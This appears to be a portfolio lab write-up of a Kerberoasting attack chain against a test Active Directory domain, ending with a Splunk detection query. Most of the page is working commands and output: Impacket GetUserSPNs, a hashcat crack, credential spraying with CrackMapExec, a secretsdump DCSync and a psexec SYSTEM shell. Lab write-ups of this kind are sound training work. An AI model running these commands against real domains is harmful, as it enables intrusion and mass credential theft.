All Projects
Offensive Lab Active Directory Domain Compromise 15–20 min read

Kerberoasting Attack
Low-Privilege User to Full Domain Compromise

Complete Active Directory attack chain from an assumed-breach low-privilege domain user to full domain compromise — Kerberoasting, offline credential cracking, privilege escalation via over-privileged service account, and DCSync to extract all domain hashes.

Engagement Overview

Executive Summary

Starting with low-privilege credentials from an assumed breach, BloodHound enumeration identified two Kerberoastable service accounts — svc_sql and svc_backup. Critically, svc_backup was a member of the Domain Admins group. The svc_sql TGS hash was extracted and cracked in 3 minutes 15 seconds. Password pattern analysis revealed the likely password for svc_backup, which was validated as a Domain Admin. A DCSync attack then extracted all domain hashes, including the krbtgt hash, achieving full domain compromise.

Attack Chain

01
Initial Recon
BloodHound enumeration — identified 2 Kerberoastable accounts, svc_backup in Domain Admins
02
Kerberoasting
GetUserSPNs.py — extracted TGS hashes from both service accounts
03
Credential Cracking
Hashcat mode 13100 — svc_sql:SQLService1 cracked in 3 min 15 sec
04
Privilege Escalation
Password pattern analysis — svc_backup:BackupPass1! — Domain Admin confirmed
05
Domain Compromise
DCSync attack — extracted all domain hashes including krbtgt

Phase 1 — Initial Reconnaissance

Starting from the assumed breach position with john.smith:Welcome1!, BloodHound was used for AD enumeration.

# Validate credentials and confirm domain connectivity
crackmapexec smb 10.80.80.2 -u john.smith -p Welcome1!

SMB   10.80.80.2  445  DC01  [+] AD.LAB\john.smith:Welcome1!

# Collect BloodHound data
bloodhound-python -d ad.lab -u john.smith -p Welcome1! -c All -ns 10.80.80.2

BloodHound analysis revealed two critical findings:

  • svc_sql — Kerberoastable (SPN: MSSQLSvc/dc01.ad.lab:1433)
  • svc_backup — Kerberoastable AND member of Domain Admins group

Phase 2 — Kerberoasting Attack

Kerberoasting requests service tickets (TGS) for accounts with registered SPNs. The KDC encrypts the ticket with the service account's NTLM password hash — which is returned to the requesting client and can be extracted offline. No special privileges are required beyond a valid domain account.

GetUserSPNs.py ad.lab/john.smith:Welcome1! -dc-ip 10.80.80.2 -request -outputfile kerberoast.hashes

ServicePrincipalName          Name       MemberOf
----------------------------  ---------  -----------------------------------------
MSSQLSvc/dc01.ad.lab:1433     svc_sql    
BackupSvc/dc01.ad.lab         svc_backup  CN=Domain Admins,CN=Users,DC=ad,DC=lab

[*] Total of 2 entries returned.
[*] Hash written to kerberoast.hashes

Both hashes extracted in Hashcat mode 13100 format ($krb5tgs$23$).

Phase 3 — Offline Password Cracking

hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt --force

$krb5tgs$23$*svc_sql*:[hash]:SQLService1

Session..........: hashcat
Status...........: Cracked
Time.Estimated...: 0 secs (3 min, 15 secs elapsed)

Credentials for svc_sql obtained: svc_sql:SQLService1. The svc_backup hash was not cracked via wordlist — but password pattern analysis identified a critical pattern.

Phase 4 — Privilege Escalation to Domain Admin

# Validate svc_sql credentials
crackmapexec smb 10.80.80.2 -u svc_sql -p SQLService1
[+] AD.LAB\svc_sql:SQLService1

# Password pattern analysis: ServiceName + Number + Special
# svc_sql → SQLService1
# svc_backup → BackupPass1! (pattern: ServiceKeyword + Pass + Number + Special)

crackmapexec smb 10.80.80.2 -u svc_backup -p BackupPass1!
[+] AD.LAB\svc_backup:BackupPass1! (Pwn3d!)

svc_backup credentials validated as Domain Admin. The (Pwn3d!) indicator confirms admin-level SMB access.

Phase 5 — Domain Compromise via DCSync

With Domain Admin credentials, a DCSync attack was performed. DCSync abuses Active Directory replication — simulating a domain controller requesting credential replication from DC01 to extract all domain account hashes, including the krbtgt hash used for Golden Ticket attacks.

secretsdump.py ad.lab/svc_backup:BackupPass1!@10.80.80.2

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[krbtgt_hash]:::
john.smith:1103:aad3b435b51404eeaad3b435b51404ee:[hash]:::
svc_sql:1104:aad3b435b51404eeaad3b435b51404ee:[hash]:::
svc_backup:1105:aad3b435b51404eeaad3b435b51404ee:[hash]:::
# ...all domain accounts extracted

# Remote code execution as SYSTEM
psexec.py ad.lab/svc_backup:BackupPass1!@10.80.80.2

C:\Windows\system32> whoami
nt authority\system

Findings & Remediation

Detection Recommendation

# Event ID 4769 — Kerberos Service Ticket Requested
# Alert on RC4 encryption (etype 0x17) — indicates Kerberoasting tool
# (modern clients use AES; RC4 requests are anomalous)

index=security EventCode=4769
TicketEncryptionType=0x17
NOT ServiceName="*$"  -- exclude computer accounts
| stats count by TargetUserName, IpAddress
| where count > 3
| sort -count

MITRE ATT&CK Mapping

Tools Used

BloodHound
Impacket GetUserSPNs.py
Hashcat
CrackMapExec
secretsdump.py
psexec.py